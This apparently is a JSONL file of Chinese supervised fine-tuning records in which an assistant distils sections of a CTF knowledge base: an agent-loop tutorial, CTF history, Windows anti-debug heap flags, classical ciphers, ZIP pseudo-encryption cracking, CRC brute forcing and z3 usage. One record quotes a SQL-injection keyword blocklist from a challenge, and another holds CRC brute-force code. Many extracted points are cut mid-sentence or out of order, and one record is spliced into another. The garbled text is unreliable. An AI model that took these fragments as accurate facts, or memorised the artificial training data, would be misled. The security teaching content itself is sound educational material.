{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-032284114fa34d4f0493", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「教程：构建朴素的 Agent Loop」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“教程：构建朴素的 Agent Loop”展开。\n- 接下来我们讲述如何构建一个最简易的 Agent Loop，使其拥有在环境反馈驱动下逐步完成任务的能力，并使用该 Agent Loop 真正解决一些简单的问题。\n- 完整代码可以参见 https://gist.github.com/arttnba3/feb8da5254d9ae1eca43d78be39ac7f8 ，不过在下方的详细教程文本当中我们实际上已经给出绝大部分的核心代码。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- agent-loop\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 259, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "教程：构建朴素的 Agent Loop", "heading_path": ["简介", "教程：构建朴素的 Agent Loop"], "original_id": "docs-f3d22932f04d4d99ea1b", "original_line": 14, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "f5563291afc958fd2889e801", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "agent-loop"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"} {"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-0429febf1ac66032734b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「4. Context Design」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 4. Context Design\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“4. Context Design”展开。\n- 我们还需要考虑如何设计 LLM 的上下文，首先需要了解的一个事实是 LLM 作为一个 接收文本输出->生成文本输出 的“黑箱函数”，其本质上是下一个 token 的预测器，因此一旦在上下文当中混入过多无用信息，就会导致模型的 注意力偏移 ，从而无法生成我们想要的高质量的结果。\n- 实际上，LLM 通常看不到这样的 JSON 结构——或者说对于 LLM 而言它没有这种概念，他只能看得到文本（当然，现在的 LLM 大都是多模态的，这意味着他可以接受例如图片等更多格式的输入），LLM API Provider 通常会将我们传入的 JSON 先变成统一的文本结构，例如： ` <|im_start|>user Hello <|im_end|> <|im_start|>assistant Hi there!\n- 因此，一个越来越被广泛使用的 Context 设计模式是 固定 Context Skeleton（上下文骨架） ，即保持 messages 在一个固定的结构，然后动态地更新指定 message 的内容，例如只传递四条 message： ` system -> Agent 基本信息 user -> 静态环境信息 user -> 动态执行信息 user -> 用户请求（生成下一步动作） ` > 事实上可以一步到位简化成 1～2 条，不过这里为了结构清晰所以笔者使用了四条消息的结构。\n- 事实上我们也可以使用这样的架构，因此在这个 Agent Loop 的例子当中我们也将使用这样四条消息固定上下文骨架的结构保存我们的上下文。\n- You are in fact a CTF agent, and your job is to solve the given CTF challenge.\n\n关键术语：\n- AI安全\n- 漏洞利用\n- ai\n- ai-for-security\n- agent\n- agent-loop\n- code:json\n\n代码/命令片段线索：\n- json: 7 行，首行 `[`\n- plain: 16 行，首行 `<|im_start|>user`\n- plain: 4 行，首行 `system -> Agent 基本信息`\n- json: 14 行，首行 `[`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 3962, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "4. Context Design", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "4. Context Design"], "original_id": "docs-ef7820052e5c774cda64", "original_line": 18, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "dae9b5e47cbcd0120db4c43c", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "漏洞利用", "ai", "ai-for-security", "agent", "agent-loop", "code:json"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"} {"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-051b5fcc9393a1477adf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/history.md` 中的章节「「现代」CTF 竞赛」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/history.md`\n标题：CTF 历史\n章节：CTF 历史 > 「现代」CTF 竞赛\n路径分类：introduction / introduction/history.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“「现代」CTF 竞赛”展开。\n- 就 LegitBS 组织的三年 DEFCON CTF 比赛而言，其有以下突出特点： - 比赛侧重于对计算机底层和系统安全的核心能力，Web 漏洞攻防技巧完全被忽略。\n- 团队综合能力考验：逆向分析、漏洞挖掘、漏洞利用、漏洞修补加固、网络流量分析、系统安全运行维护以及安全方面的编程调试。\n- 现代 CTF 竞赛由专业的队伍承担比赛平台、命题、赛事组织，并有着自动化的积分系统。\n- 竞赛环境趋向多 CPU 指令架构集，多操作系统，多编程语言。\n\n关键术语：\n- 修复/缓解\n- 漏洞利用\n- history.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 235, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "「现代」CTF 竞赛", "heading_path": ["CTF 历史", "「现代」CTF 竞赛"], "original_id": "docs-f2846898b69929010ee4", "original_line": 525, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/history.md", "source_root": "docs", "source_sha256": "fae696e7f340da14e22257b1b18f36222d26b0ef16fd7723e1745bf1c6153db3", "split": "train", "split_group_key": "77db6f56e32f1a22bd682a6e", "subcategory": "introduction/history.md", "terms": ["修复/缓解", "漏洞利用", "history.md"], "title": "CTF 历史"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/history.md", "split": "train", "type": "ctf_lora_sft"} {"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-08276c8a61f06931666d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/heap-flags.md` 中的章节「关于Heap flags」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/heap-flags.md`\n标题：Heap Flags\n章节：Heap Flags > 关于Heap flags\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“关于Heap flags”展开。\n- Heap flags包含有两个与NtGlobalFlag一起初始化的标志: Flags和ForceFlags. 这两个字段的值不仅会受调试器的影响, 还会由windows版本而不同, 字段的位置也取决于windows的版本.\n- Flags字段: 在32位Windows NT, Windows 2000和Windows XP中, Flags位于堆的0x0C偏移处. 在32位Windows Vista及更新的系统中, 它位于0x40偏移处. 在64位Windows XP中, Flags字段位于堆的0x14偏移处, 而在64位Windows Vista及更新的系统中, 它则是位于0x70偏移处.\n\n关键术语：\n- 堆\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `在64位`Windows XP`系统, `Windows Vista`及更新的系统版本, `Flags`字段则会设置以下标志(少了`HEAP_SKIP_VALIDATION_CHECKS (0x10000000)`):`\n- plain: 1 行，首行 `而对于`ForgeFlags`字段, 正常情况则会设置以下标志:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2288, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "关于Heap flags", "heading_path": ["Heap Flags", "关于Heap flags"], "original_id": "docs-62a506020d628558eb45", "original_line": 1515, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/heap-flags.md", "source_root": "docs", "source_sha256": "0178ca5792ad4784b2908b78035d353c6b6ff326160ae7f29a3b02f9f54726c7", "split": "train", "split_group_key": "d746f12c988ebd1d94cb5592", "subcategory": "reverse/platform/windows", "terms": ["堆", "AI安全", "reverse", "platform", "windows", "anti-debug"], "title": "Heap Flags"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/heap-flags.md", "split": "train", "type": "ctf_lora_sft"} {"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-091899049d36a17170d2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/others.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/others.md`\n标题：其它类型加密\n章节：其它类型加密 > 列移位加密 > 原理\n路径分类：crypto / crypto/classical/others.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 列移位密码（Columnar Transposition Cipher）是一种比较简单，易于实现的换位密码，通过一个简单的规则将明文打乱混合成密文。\n- 文件: ./figure/columnar-transposition-plaintext.png] 密钥： how are u，按 how are u 在字母表中的出现的先后顺序进行编号，我们就有 a 为 1，e 为 2，h 为 3，o 为 4，r 为 5，u 为 6，w 为 7，所以先写出 a 列，其次 e 列，以此类推写出的结果便是密文： [图片: 密钥;\n- 我们以明文 The quick brown fox jumps over the lazy dog，密钥 how are u 为例： 将明文填入 5 行 7 列表（事先约定填充的行列数，如果明文不能填充完表格可以约定使用某个字母进行填充） [图片: 明文;\n- 文件: ./figure/columnar-transposition-key.png] 密文： qoury inpho Tkool hbxva uwmtd cfseg erjez\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- classical\n- others.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 502, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "原理", "heading_path": ["其它类型加密", "列移位加密", "原理"], "original_id": "docs-67fbb0c0bdd184fec902", "original_line": 370, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "source_root": "docs", "source_sha256": "fec39924776c8c5b10bcab7894ea71cb2fc1da23f7e37fe39babf9d7dda47d46", "split": "train", "split_group_key": "4bc6142fc1fa6c8224d4d3ba", "subcategory": "crypto/classical/others.md", "terms": ["密码学", "AI安全", "crypto", "classical", "others.md"], "title": "其它类型加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "split": "train", "type": "ctf_lora_sft"} {"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-095c0e3c3e3421a97ee8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/archive/zip.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/archive/zip.md`\n标题：ZIP 格式\n章节：-- coding: utf-8 -- > 伪加密 > 例题\n路径分类：misc / misc/archive/zip.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- > SSCTF-2017 ：我们的秘密是绿色的 > > WP： 我们在得到两个 readme.txt，且一个加密，一个已知，很容易想到明文攻击的手法。\n- 这一题，基本涵盖了比赛中 ZIP 的常见考察手法，爆破，伪加密，明文攻击等，都在本题中出现。\n- [图片文件: ./figure/3.png] 得到密码 Y29mZmVl 后，解压缩文件，得到另一个压缩包。\n- 观察通用位标记位，猜测伪加密，修改后解压得到 flag。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- misc\n- archive\n- zip.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 275, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "ai", "heading": "例题", "heading_path": ["-- coding: utf-8 --", "伪加密", "例题"], "original_id": "docs-8f0b461fa116aa4002e4", "original_line": 553, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "source_root": "docs", "source_sha256": "171c086900627e8f254fb7ea6f3caf29192f5b226bef34498c74cf7a30fd5f7b", "split": "train", "split_group_key": "8094e438946b0ffa3ad01857", "subcategory": "misc/archive/zip.md", "terms": ["密码学", "AI安全", "漏洞利用", "misc", "archive", "zip.md"], "title": "ZIP 格式"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "split": "train", "type": "ctf_lora_sft"} {"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-0963251b4162f2e6b1d0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/mode.md` 中的章节「战争分享模式 - Belluminar」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/mode.md`\n标题：CTF 竞赛模式简介\n章节：CTF 竞赛模式简介 > 战争分享模式 - Belluminar\n路径分类：introduction / introduction/mode.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“战争分享模式 - Belluminar”展开。\n- BELLUMINAR 赛制的介绍也可以参见其官网： 。\n- 在 2016 年世界黑客大师挑战赛（WCTF）国内首次引入韩国 POC SECURITY 团队开创的 BELLUMINAR CTF （战争与分享）赛制，从此中国国内陆陆续续也有开始 BELLUMINAR 模式的比赛，目前采取这一赛制的有 2016 年诸葛建伟老师集合的 XMan 夏令营分享赛以及同年 9 月的「百度杯」CTF 比赛等。\n\n关键术语：\n- mode.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 222, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "战争分享模式 - Belluminar", "heading_path": ["CTF 竞赛模式简介", "战争分享模式 - Belluminar"], "original_id": "docs-344d81739983de5ba726", "original_line": 527, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "source_root": "docs", "source_sha256": "9774ac81ffff01cd90bdfd0fb47d6ac1184f2be9bf8f65f821cbc367b8ac02d9", "split": "train", "split_group_key": "2c84ccdd6a20320596a4a4a8", "subcategory": "introduction/mode.md", "terms": ["mode.md"], "title": "CTF 竞赛模式简介"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "split": "train", "type": "ctf_lora_sft"} {"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-0b239adef0a51841cd87", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目\n路径分类：ai / ai/ai-for-security/agent\n分块：2/3\n\n核心知识点：\n- 本节主题围绕“8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目”展开。\n- sqlmap是没有灵魂的 -->
姿势: 
 return preg_match(\"/select|update|delete|drop|insert|where|\\./i\",$inject);\n- stderr: -------------------------------- ------ Step 6 ------ [] Sending request to LLM...\n- [] LLM replied in 23.35591435432434 seconds.\n- [] LLM replied in 19.101093530654907 seconds.\n- [] LLM replied in 167.59067487716675 seconds.\n\n关键术语：\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- ai\n- ai-for-security\n- agent\n- agent-loop\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 5189, "chunk_count": 3, "chunk_index": 1, "ctf_score": 20, "ctf_task_type": "ai", "heading": "8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "8. 实战：利用 Naive Agent Loop 解决简单的 CTF 题目"], "original_id": "docs-0da8c20c47d7972cedfc", "original_line": 21, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "8d7d0c7688216f6ecd242e70", "subcategory": "ai/ai-for-security/agent", "terms": ["ROP/JOP", "AI安全", "漏洞利用", "ai", "ai-for-security", "agent", "agent-loop"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-0be080016148864bbb41", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「1. Loop Design」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 1. Loop Design\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“1. Loop Design”展开。\n- 首先我们先设计一下我们的 Agent Loop 的基本架构，一个最简单也最容易想到的的设计方案便是： - 1. 我们给出一个初始目标 - 2.\n- LLM 根据这个结果生成下一步动作 - 6. 重复 3～5 直到达成目标，从而退出循环 用伪代码来书写便是： `` init_context(context) while True: response = do_llm_request(context) if response.done: break execute(response.action) feedback(context) `` 这便是 AI Agent 当中 最朴素且简约的执行架构 ，因此我们也可以称之为 Naive Agent Loop ，这个...\n- LLM 根据这个目标生成一个动作（通常是外部工具调用，例如执行 bash 指令） - 3. 在指定环境中执行这个动作 - 4. 将动作的结果告诉 LLM - 5.\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- agent-loop\n\n代码/命令片段线索：\n- plain: 7 行，首行 `init_context(context)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 496, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "1. Loop Design", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "1. Loop Design"], "original_id": "docs-f11bf10fa220d39d9fcd", "original_line": 15, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "1df51f460cd7add10fcb371c", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "agent-loop"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-106fc65fb639bea2c48d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「2. OpenAI-Compatible Request」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 2. OpenAI-Compatible Request\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2. OpenAI-Compatible Request”展开。\n- 返回结果通常也是一个 JSON 对象，对我们而言当前阶段只需要关注其中的 \"choice\" 字段，其包含了模型的回复： `json { \"choices\": [ { \"index\": 0, \"message\": { \"role\": \"assistant\", \"content\": \"\\n\\nHello, how may I help you?\n- 我们还需要一个向 LLM API 进行请求的函数，绝大部分主流 AI 平台都支持或兼容 OpenAI 格式的请求，因此我们只需要实现 OpenAI-Compatible 的请求，我们就能使用绝大部分主流 AI 平台的 API，例如 DeepSeek、Doubao、Ollama 等。\n- 虽然各种 API 有很多可以调整的参数，但如果只是想要完成一次简单的 LLM 对话，我们只需要对 API 使用 POST 请求，并将模型信息与对话上下文包裹在如下格式的 JSON 数据中即可： ``json { \"model\" : \"model_name\", \"messages\" : [ { \"role\" : \"user\", \"content\" : { \"type\" : \"text\", \"text\" : \"Hello world!\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- agent-loop\n- code:json\n- code:python\n\n代码/命令片段线索：\n- json: 13 行，首行 `{`\n- plain: 2 行，首行 `Content-Type: application/json`\n- json: 13 行，首行 `{`\n- python: 29 行，首行 `class LLMAPIException(Exception):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 1921, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "2. OpenAI-Compatible Request", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "2. OpenAI-Compatible Request"], "original_id": "docs-2a13d81e2d9a274a2865", "original_line": 16, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "17855d7b8ecbc5db89c7a002", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "agent-loop", "code:json", "code:python"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-13291dae4ca0fad27e37", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/archive/zip.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/archive/zip.md`\n标题：ZIP 格式\n章节：-- coding: utf-8 --\n路径分类：misc / misc/archive/zip.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“-- coding: utf-8 --”展开。\n- \" f = open('flag.zip') data = f.read() f.close() crc = ''.join(data[14:18]) if crc in crcdict: print crcdict[crc] else: print \"FAILED!\n- alph = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=' crcdict = {} print \"computing all possible CRCs...\" for x in itertools.product(list(alph), repeat=4): st = ''.join(x) testcrc = binascii.crc32(st) crcdict[struct.pack(' 基本用法 > 添加约束\n路径分类：reverse / reverse/tools/constraint\n分块：1/1\n\n核心知识点：\n- 我们可以通过求解器的 add() 方法为指定求解器添加约束条件，约束条件可以直接通过 z3 变量组成的式子进行表示： ``python >>> s.add(x 5 == 10) >>> s.add(y 1/2 == x) ` 对于布尔类型的式子而言，我们可以使用 z3 内置的 And()、Or()、Not()、Implies() 等方法进行布尔逻辑运算： `python >>> s.add(z3.Implies(p, q)) >>> s.add(r == z3.Not(q)) >>> s.add(z3.Or(...\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- constraint\n- z3.md\n- code:python\n\n代码/命令片段线索：\n- python: 2 行，首行 `>>> s.add(x * 5 == 10)`\n- python: 3 行，首行 `>>> s.add(z3.Implies(p, q))`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 301, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "添加约束", "heading_path": ["z3", "基本用法", "添加约束"], "original_id": "docs-c7d8c2271cb032264ce8", "original_line": 1554, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "source_root": "docs", "source_sha256": "a16b4230e7629ee9b7c69cbd84da478d04a8ace633ef9a03df2a895d982a8ad3", "split": "train", "split_group_key": "097bf5770021b3117cfae4d4", "subcategory": "reverse/tools/constraint", "terms": ["AI安全", "reverse", "tools", "constraint", "z3.md", "code:python"], "title": "z3"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "split": "train", "type": "ctf_lora_sft"}
